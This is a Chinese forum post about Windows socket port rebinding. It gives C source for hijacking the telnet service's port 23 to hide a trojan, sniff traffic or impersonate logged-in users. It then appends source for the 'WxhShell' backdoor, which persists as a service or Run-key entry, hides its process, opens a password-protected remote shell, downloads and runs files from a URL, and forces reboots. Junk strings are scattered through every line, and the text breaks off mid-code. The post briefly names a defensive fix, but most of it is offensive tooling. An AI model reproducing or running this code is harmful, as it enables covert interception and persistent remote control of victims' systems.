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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lq78gOg{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )&b}^1  
c+)36/; X  
  saddr.sin_family = AF_INET; kMfc"JXF  
dXf]G6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OX#eLco  
o(v"?Y6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4eDmLC"Y *  
= !I8vQ>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u&?yPR  
(r#5O9|S  
  这意味着什么?意味着可以进行如下的攻击: llTQ\7zP  
r_!{!i3B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LLXg  
I{*.htt{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tkm~KLWV&7  
|IyM"UH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yH0yO*R Z  
vu !j{%GO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XZUB*P}]D  
/h}wM6pg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,u8ZS|9  
{Oc?C:aI=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t(uB66(_F  
~#IWM+I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "Gi+zkVm  
YG}p$\R  
  #include X-*KQ+ ?  
  #include {Kq*5Aq8  
  #include .&* ({UM  
  #include    =DmPPl{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (IO \+  
  int main() IxK 3,@d  
  { ZYl-p]\*y  
  WORD wVersionRequested; eY6gb!5u  
  DWORD ret; x0AqhT5}  
  WSADATA wsaData; O|^6UH  
  BOOL val; 4X(1   
  SOCKADDR_IN saddr; h^[pp c{Z  
  SOCKADDR_IN scaddr; <.?^LT  
  int err; z Et6  
  SOCKET s; F| ,Vw{  
  SOCKET sc; ;ZE<6;#3IP  
  int caddsize; O;&yA<  
  HANDLE mt; Rpa A)R,  
  DWORD tid;   dH2j*G Ij  
  wVersionRequested = MAKEWORD( 2, 2 ); //'xR8Z  
  err = WSAStartup( wVersionRequested, &wsaData ); ATXx? b8h  
  if ( err != 0 ) { ?=|) n%  
  printf("error!WSAStartup failed!\n"); fxtYo,;$  
  return -1; @'NaA SB  
  } n'x`oI)-  
  saddr.sin_family = AF_INET; <Vr] 2mw  
   lhIr]'?l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c!(~BH3p  
{8>_,z^P)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iBPdCp%]`  
  saddr.sin_port = htons(23); bCY^.S-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q)z1</B-  
  { x9{Sl[2&  
  printf("error!socket failed!\n"); 7Da^Jv k  
  return -1; u}@% 70A  
  } c-3YSrY  
  val = TRUE; -V<=`e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4%c7#AX[T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]>S$R&a  
  { _+ R_ms  
  printf("error!setsockopt failed!\n"); ek0;8Ds9  
  return -1; x/jN& ;"/  
  } Do[ F+Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %8`1Li6g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D.oS8'   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R(7X}*@X  
|]2eGrGj4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Oig/KZ  
  { 2}xFv2X  
  ret=GetLastError(); |Z^c #R  
  printf("error!bind failed!\n"); s_Ge22BZ  
  return -1; 1+PNy d  
  } E#HU?<q8  
  listen(s,2); _>:=<xyOq  
  while(1) T$8$9D_u  
  { :BZx ) HxQ  
  caddsize = sizeof(scaddr); oRJP5Y5na  
  //接受连接请求 ;Cp/2A}Xx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M@LaD 5  
  if(sc!=INVALID_SOCKET) N- ?|]4e/  
  { 4[f7X4d$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x x`8>2T#e  
  if(mt==NULL) #*;fQ&p  
  { me}Gb a  
  printf("Thread Creat Failed!\n"); C{I8Pio{b  
  break; c_8mQ  
  } ; HLMU36q  
  } ^2?O+ =,F  
  CloseHandle(mt); w\8r h\Mvh  
  } qwq+?fj={  
  closesocket(s); smLD m  
  WSACleanup(); }RP9%n^  
  return 0; !^"!fuoNC  
  }   |@bNd7=2d  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2O)Kn q  
  { wGQhr="  
  SOCKET ss = (SOCKET)lpParam; %H 6ZfEO  
  SOCKET sc; !+26a*P  
  unsigned char buf[4096]; [XU{)l  
  SOCKADDR_IN saddr; >J75T1PH=  
  long num; aBtfZDCfzp  
  DWORD val; [@l v]+@  
  DWORD ret; "j@IRuH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HEfA c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {HJ`%xN|  
  saddr.sin_family = AF_INET; Go+,jT-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $v}8lBCr3  
  saddr.sin_port = htons(23); ThqfZl=V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^[?+=1 k  
  { D(ntVR  
  printf("error!socket failed!\n"); dgqJ=+z 0y  
  return -1; ^9V8M9  
  } *p5T  
  val = 100; h'q0eqYeu)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VFaK>gQ  
  { [@?.}!  
  ret = GetLastError(); R O3e  
  return -1; 'FA)LuAok  
  } . eag84_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eRqexqO!  
  { ,["|wqM  
  ret = GetLastError(); >D^7v(&  
  return -1; _(s|Q  
  } 9qO:K79|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BMsy}08dQ  
  { YHv,Z|.w  
  printf("error!socket connect failed!\n"); MVU'GHv  
  closesocket(sc); iO=uXN1g  
  closesocket(ss); qx CL  
  return -1; 2dJ)4  
  } .1q~,}toX  
  while(1) 3/|{>7]1  
  { DBrzw+;e3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &l}xBQAL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T7Qd I[K%b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -clg 'Aa;.  
  num = recv(ss,buf,4096,0); N*)8L[7_;  
  if(num>0) yD id` ym  
  send(sc,buf,num,0); X1PlW8pd  
  else if(num==0) p){RS q  
  break; !";$Zu  
  num = recv(sc,buf,4096,0); 27i<6PAC[A  
  if(num>0) NTX+7<  
  send(ss,buf,num,0); [-94=|S @  
  else if(num==0) +#"Ic:  
  break; (V%vFD1)  
  } dE!=a|Pl  
  closesocket(ss); k)t8J\  
  closesocket(sc); -+2xdLa63  
  return 0 ; 2X |jq4  
  } .B-,GD}  
0+`*8G)  
!Fs) "?  
========================================================== zSufU2  
+A3\Hj&W  
下边附上一个代码,,WXhSHELL szs3x-g  
#Lt+6sa]2@  
========================================================== 00x^zu?N  
Q2WrB+/  
#include "stdafx.h" 8}b[Q/h!  
~=]@], {  
#include <stdio.h> k  5kX  
#include <string.h> mztq7[&-  
#include <windows.h> 3\~fe/z'I  
#include <winsock2.h> >bP7}T  
#include <winsvc.h> a_MnQ@  
#include <urlmon.h> +uXnFf d^  
"JGig!9  
#pragma comment (lib, "Ws2_32.lib") +GtGyp  
#pragma comment (lib, "urlmon.lib") \B +SzW  
`fh_8%m]*  
#define MAX_USER   100 // 最大客户端连接数 weadY,-H8  
#define BUF_SOCK   200 // sock buffer _@?Jx/`;bk  
#define KEY_BUFF   255 // 输入 buffer p%tg->#L  
90k|u'ikOp  
#define REBOOT     0   // 重启 FQRcZpv;  
#define SHUTDOWN   1   // 关机 nk.E q[08  
:@'0)7  
#define DEF_PORT   5000 // 监听端口 tF1%=&ss  
wD Y7B  
#define REG_LEN     16   // 注册表键长度 gxtbu$  
#define SVC_LEN     80   // NT服务名长度 tdK^X1  
+W[#;)ea(  
// 从dll定义API :u+#:8u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JT_B@TO\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9uoj3Rh<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B>2 1A9&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `r$WInsDu  
UoT}m^ G  
// wxhshell配置信息 @a3v[}c*  
struct WSCFG { SytDo (_=W  
  int ws_port;         // 监听端口 &Y2P!\\2  
  char ws_passstr[REG_LEN]; // 口令 VQ}3r)ch  
  int ws_autoins;       // 安装标记, 1=yes 0=no l:}4 6%  
  char ws_regname[REG_LEN]; // 注册表键名 euC,]n.  
  char ws_svcname[REG_LEN]; // 服务名 ee[NZz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }r<^]Q*&p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [,X,2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !9OgA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dR{ V,H7N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6MQ:C'8T&=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LZ:\V)5+  
ZO$T/GE6%  
}; 7OHw/-j\  
nOzT Hg8  
// default Wxhshell configuration [)c|oh%  
struct WSCFG wscfg={DEF_PORT, 84cH|j`w  
    "xuhuanlingzhe", =i %w_ e  
    1, RL8 wSK  
    "Wxhshell", ZJM^P'r.1c  
    "Wxhshell", Bq`kVfx  
            "WxhShell Service", k;X1x65uP  
    "Wrsky Windows CmdShell Service", zwK;6&(W  
    "Please Input Your Password: ", K7Tell\`  
  1, =%G[vm/-)  
  "http://www.wrsky.com/wxhshell.exe", qE=OQs9  
  "Wxhshell.exe" Vtk|WV?>P+  
    }; W4Q]<<6&  
ogbdt1  
// 消息定义模块 iP_Xr~w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^<+heX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Z+D7Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >1zzDd_  
char *msg_ws_ext="\n\rExit."; zt}p-U2I  
char *msg_ws_end="\n\rQuit."; ,KaWP  
char *msg_ws_boot="\n\rReboot..."; g+*[CKO{  
char *msg_ws_poff="\n\rShutdown..."; YNk|UwJi  
char *msg_ws_down="\n\rSave to "; RjHpC7b*%  
Jx?>1q=M  
char *msg_ws_err="\n\rErr!"; wB"Gw` D  
char *msg_ws_ok="\n\rOK!"; 5(Oc"0''H  
l))IO`s=_  
char ExeFile[MAX_PATH]; z|H>jit+  
int nUser = 0; &|] ^ u/  
HANDLE handles[MAX_USER]; W{aNS@1  
int OsIsNt; c>.Xc[H  
ZeV)/g,w  
SERVICE_STATUS       serviceStatus; v21?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S45_-aE  
,BAF?} 04=  
// 函数声明 L,L7WObA  
int Install(void); @kymL8"2w  
int Uninstall(void); X:/t>0e  
int DownloadFile(char *sURL, SOCKET wsh); P2F>iK#U  
int Boot(int flag); net9K X4\  
void HideProc(void); px@\b]/  
int GetOsVer(void); i*j+<R@  
int Wxhshell(SOCKET wsl); `h6W@ROb  
void TalkWithClient(void *cs); b*fflJ  
int CmdShell(SOCKET sock); " z{w^k  
int StartFromService(void); b"9,DQB=i  
int StartWxhshell(LPSTR lpCmdLine); N4-J !r@#~  
g7i6Yj1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l0)uu4|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (7,Awf5D~  
P#PQ4uK \  
// 数据结构和表定义 ?Pc 3*.  
SERVICE_TABLE_ENTRY DispatchTable[] = n Lb 9$&  
{ >j3N-;o@?  
{wscfg.ws_svcname, NTServiceMain}, { VO4""m  
{NULL, NULL} ?Q2pD!L{  
}; c-d}E!C:  
;wrgpP3  
// 自我安装 Jmx }r,j  
int Install(void) 37Y]sJrs$  
{ |e >-v  
  char svExeFile[MAX_PATH]; eH{ 9w8~  
  HKEY key; ;"z>p25=T  
  strcpy(svExeFile,ExeFile); 9v0|lS!-  
xkovoTzV  
// 如果是win9x系统,修改注册表设为自启动 F eLP!oS>  
if(!OsIsNt) { B?Skw{&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (%}C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z ngJ9js  
  RegCloseKey(key); @35 shLs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +_Z/VQv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _!zY(9%  
  RegCloseKey(key); lfP|+=^B  
  return 0; pkx>6(Y  
    } vKf=t&gqr  
  } IIkJ"Qg.  
} f'dI"o&^/d  
else { flqTx)xE  
5@ug1F&   
// 如果是NT以上系统,安装为系统服务 Q #gHD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X$f%Ss  
if (schSCManager!=0)  %3j5Q   
{ )VC) }  
  SC_HANDLE schService = CreateService k7*q.20  
  ( $'q(Z@  
  schSCManager, QL#y)G53Q  
  wscfg.ws_svcname, cx}-tj"m-  
  wscfg.ws_svcdisp, \ 714Pyy  
  SERVICE_ALL_ACCESS, *b EsWeP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r;z A `  
  SERVICE_AUTO_START, 5,C,q%2  
  SERVICE_ERROR_NORMAL, Df (6DuW  
  svExeFile, o*_D  
  NULL, 5mU_S\)4:z  
  NULL, nKdLhCN'=  
  NULL, Q1z04m1_y[  
  NULL, #eYVZ=E  
  NULL iq$/ 6!t  
  ); /eQn$ZRP,  
  if (schService!=0) %L3]l  
  { Pp2 )P7  
  CloseServiceHandle(schService); "dOzQz*E  
  CloseServiceHandle(schSCManager); eAMT72_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?F/3]lsggT  
  strcat(svExeFile,wscfg.ws_svcname); *rLs!/[Z_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )T?ryp3ev  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lS^0*(Y  
  RegCloseKey(key); @zbXG_J  
  return 0; s><co]  
    } AM>:At Y  
  } JFZ p^{  
  CloseServiceHandle(schSCManager); bb{+  
} 8{C3ijR  
} mX89^  
fvD wg  
return 1; :9}*p@  
} |w DCIHzQ  
!T*izMX}  
// 自我卸载 9=|5-? ^  
int Uninstall(void) Y~Rwsx  
{ w8qI7/  
  HKEY key; cc[w%jlA#  
yWzTHW`)Mr  
if(!OsIsNt) { Zu,f&smb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *D,T}N  
  RegDeleteValue(key,wscfg.ws_regname); ZAE;$pkP  
  RegCloseKey(key); jkq+j^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s>5 Z  
  RegDeleteValue(key,wscfg.ws_regname); >EY0-B  
  RegCloseKey(key); o&]qjFo\m  
  return 0; P]n ' q  
  } S~T[*Z/m  
} =u(fP" |{  
} yFSL7`p+  
else { Ot?rsr  
fOVRtSls  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xk/(| f{L  
if (schSCManager!=0) > L%%B-  
{ t`  Sh!e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U&6f}=v C  
  if (schService!=0) :|a[6Uwl\V  
  { Ev%\YI!MaY  
  if(DeleteService(schService)!=0) { <$ 5\^y,V  
  CloseServiceHandle(schService); 3r\QLIr L8  
  CloseServiceHandle(schSCManager); ZU`"^FQ3A  
  return 0; W>~V?%F&'  
  } X\;y;pmRH  
  CloseServiceHandle(schService); P.o W#Je  
  } mS0W@#|K  
  CloseServiceHandle(schSCManager); Wh,kJis<  
} @9-qqU@  
} 4t":WutC  
(< h,R@:  
return 1; "P6MLf1  
} /=N`P &R#  
,0~=9dR  
// 从指定url下载文件 y.zW>Mfl  
int DownloadFile(char *sURL, SOCKET wsh) { }z7N~  
{ r* U6govky  
  HRESULT hr; PJ'l:IU  
char seps[]= "/"; B4kIcHA  
char *token; O'k"6sBb  
char *file; b#sO1MXv  
char myURL[MAX_PATH];  ZM"t.  
char myFILE[MAX_PATH]; :z[SI{Y  
>a<;)K^1  
strcpy(myURL,sURL); \?j(U8mB>  
  token=strtok(myURL,seps); *d=pK*g  
  while(token!=NULL) @c.pOX[]m,  
  { %lBFj/B  
    file=token; VD4(  
  token=strtok(NULL,seps); x-[l`k.V  
  } M-n +3E9  
ZR1EtvVG  
GetCurrentDirectory(MAX_PATH,myFILE); ,-):&V:jF  
strcat(myFILE, "\\"); u URf  
strcat(myFILE, file); Pu=YQ #F'  
  send(wsh,myFILE,strlen(myFILE),0); u7S7lR"lxW  
send(wsh,"...",3,0); EB \\ F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F J)la9  
  if(hr==S_OK) J&Ah52  
return 0; n}"MF>zDK  
else +p2)uXqW  
return 1; .L}ar7  
WaYT\CG7y  
} zQ6otDZx  
k]Yd4CC2  
// 系统电源模块 E11"uWk`  
int Boot(int flag) CGQ`i  
{ % 74}H8q_z  
  HANDLE hToken; k3&Wv  
  TOKEN_PRIVILEGES tkp; \n}cx~j  
K#>B'>A\  
  if(OsIsNt) { gD-<^Q-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xu3qX"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ra/S46$  
    tkp.PrivilegeCount = 1; T a_#Rg*!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T!8,R{V]4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sPut@4[S  
if(flag==REBOOT) { z;T?2~g!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gd!y,n&s  
  return 0; @>:r'Fmu-  
} O %OeYO69  
else { "bJWyUb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ./u3z|q1  
  return 0;  0y?bwxkc  
} 9Z} -%Z[,)  
  } *t63c.S  
  else { Up~#]X  
if(flag==REBOOT) { &U:;jlST9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kEi!q  
  return 0; $. Ih-  
} W_%Dg]l   
else { 6:H@= fEv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %5'6^bT  
  return 0; tks1*I$S<  
} &4LrV+`$V  
} Uo# Pe@ieQ  
@,$>H 7o  
return 1; wtK+\Qnb  
} d4~!d>{n|c  
F&^u1RYz  
// win9x进程隐藏模块 vLq_l4l  
void HideProc(void) (<|,LagTuc  
{ 3:s!0ty"  
*~cq (PFQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O.i.<VD7  
  if ( hKernel != NULL ) C1hp2CW$5/  
  { n}EH{k9#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A\LMmg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q/I/>6M7UZ  
    FreeLibrary(hKernel); H>% K}Fh  
  } .^eajb`:  
l4RZ!K*X_"  
return; cJMp`DQzc  
} 4PR!OB  
Lc=t,=OhGe  
// 获取操作系统版本 m;'ebkq  
int GetOsVer(void) /; w(1)B  
{ 13kl\ <6  
  OSVERSIONINFO winfo; b-,4< H8m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f<<1.4)oSV  
  GetVersionEx(&winfo);  (cx Q<5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tw,uV)xm  
  return 1; ';Y0qitGB  
  else Ko: <@h  
  return 0; !Wgi[VB  
} !ap}+_IA7^  
;ry~x:7L7  
// 客户端句柄模块 Pd)mLs Jg  
int Wxhshell(SOCKET wsl) 3VaL%+T$,  
{ Phr+L9Eog  
  SOCKET wsh; Cs))9'cD]  
  struct sockaddr_in client; c~SR@ZU  
  DWORD myID; KSz;D+L \  
K|]/BjB/  
  while(nUser<MAX_USER) #ozui-u>  
{ n&1q*  
  int nSize=sizeof(client); NYw>Z>TD8c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :<hM@>eFn  
  if(wsh==INVALID_SOCKET) return 1; #A\@)wJ  
{\hjKP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f3^Anaa]l  
if(handles[nUser]==0) uVN2}3!)Y  
  closesocket(wsh); f?W_/daP  
else  4 Fl>XM  
  nUser++; ]Q$Sei5  
  } t^ Ge "  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Ah v07SI  
)Vd^#p  
  return 0; $t0o*i{  
} c^3,e/H  
iSbPOC7  
// 关闭 socket ||D PIn]  
void CloseIt(SOCKET wsh) ,+~8R"  
{ x n?$@  
closesocket(wsh); 4( $p8J  
nUser--; MQ#k`b#()  
ExitThread(0); %tB7 &%ut  
} 2ca#@??R  
`3g5n:"g\  
// 客户端请求句柄 8wV`mdKN  
void TalkWithClient(void *cs) FRa>cf4  
{ B`|f"+.  
ZmI0|r}QbY  
  SOCKET wsh=(SOCKET)cs; f*}}Az.4  
  char pwd[SVC_LEN]; DQ<4`wEM  
  char cmd[KEY_BUFF]; nr&bpA/  
char chr[1]; ijP `fM8  
int i,j; .exBU1Yk@  
?zex]!R  
  while (nUser < MAX_USER) { >$,P )cB'  
.dI".L  
if(wscfg.ws_passstr) { D%L^[|)c\s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oz:"w nX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #/_{(P  
  //ZeroMemory(pwd,KEY_BUFF); P?p]sLrP  
      i=0; |M`'   
  while(i<SVC_LEN) { gFqF&t  
#N"m[$;QR  
  // 设置超时 t W+"/<U  
  fd_set FdRead; \HXq~Y  
  struct timeval TimeOut; By waD?  
  FD_ZERO(&FdRead); "}MP{/  
  FD_SET(wsh,&FdRead); {]2^b)  
  TimeOut.tv_sec=8; eAmI~oku  
  TimeOut.tv_usec=0; Om^(CAp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nrHC;R.nE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aq)g&.dw?  
DkX^b:D*f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s_  t/  
  pwd=chr[0]; C~egF=w  
  if(chr[0]==0xd || chr[0]==0xa) { ? X6M8`  
  pwd=0; r0!')?#Z  
  break; f0vO(@I  
  } l^Ob60)2  
  i++; 793 15A  
    } >TMd1? ,  
)$RV)  
  // 如果是非法用户,关闭 socket 8OKG@hc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qg{gCG  
} 7HkFDI()1  
}f;WYz5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :.4O Hp1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T%% 0W J  
9dq"x[  
while(1) { 6@TU9AZS `  
A|GtF3:G  
  ZeroMemory(cmd,KEY_BUFF); ]!ox2m_U  
VwpC UW  
      // 自动支持客户端 telnet标准   ?r KbL^2  
  j=0; 10fxK  
  while(j<KEY_BUFF) { d7Vp^^}(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3!Al,!ej@  
  cmd[j]=chr[0]; .u>[m.  
  if(chr[0]==0xa || chr[0]==0xd) { D%~tU70a  
  cmd[j]=0; 7mq&]4-G  
  break; .<zKBv  
  } d\uN  
  j++; =WjHf8v;  
    } LD ]-IX&L  
 V1B!5N<  
  // 下载文件 5mQ@&E~#W  
  if(strstr(cmd,"http://")) { mFg$;F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U|]cB  
  if(DownloadFile(cmd,wsh)) gu3iaM$W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9v_s_QkL2  
  else ||JUP}eP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4XNheP;b  
  } VE-l6@`  
  else { w+/`l*  
 Z/%FQ  
    switch(cmd[0]) { "h#R>3I1)  
  Wk\(jaL%  
  // 帮助 GA[Ebzi  
  case '?': { ydyTDn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @Wc5r#  
    break; .6P.r}  
  } YZ5,K6u  
  // 安装 ?OLd }8y  
  case 'i': { W?5')  
    if(Install()) Ux7LN @4og  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|n  
    else (/uAn2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7b+r LyS0  
    break; h <e  
    } tGgxID  
  // 卸载 <Cv(@A->  
  case 'r': { [K&%l]P7  
    if(Uninstall()) [ N|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{g<RS( c  
    else 4d`YZNvZW/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O;~e^ <*  
    break; 4~,Z 'k  
    } d #1Y^3n  
  // 显示 wxhshell 所在路径 H"FK(N\  
  case 'p': { *{3d+j/?/  
    char svExeFile[MAX_PATH]; l::q F 0  
    strcpy(svExeFile,"\n\r"); QQBh)5F  
      strcat(svExeFile,ExeFile); QkBw59L7  
        send(wsh,svExeFile,strlen(svExeFile),0); E +_n@t"  
    break; <%m YsaM  
    } +b(};(wL  
  // 重启 i'm<{ v  
  case 'b': { 5Jbwl$mZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &]DB-t#\  
    if(Boot(REBOOT)) ?qNU*d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.FU) )lmD  
    else { $AZYY\1  
    closesocket(wsh); g}NO$?ndg  
    ExitThread(0); xj3 qOx$  
    } !?nbB2,  
    break; TI'v /=;)  
    } s0/O/G?  
  // 关机 eR$@Q  
  case 'd': { cD0rU8x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Sf[<I  
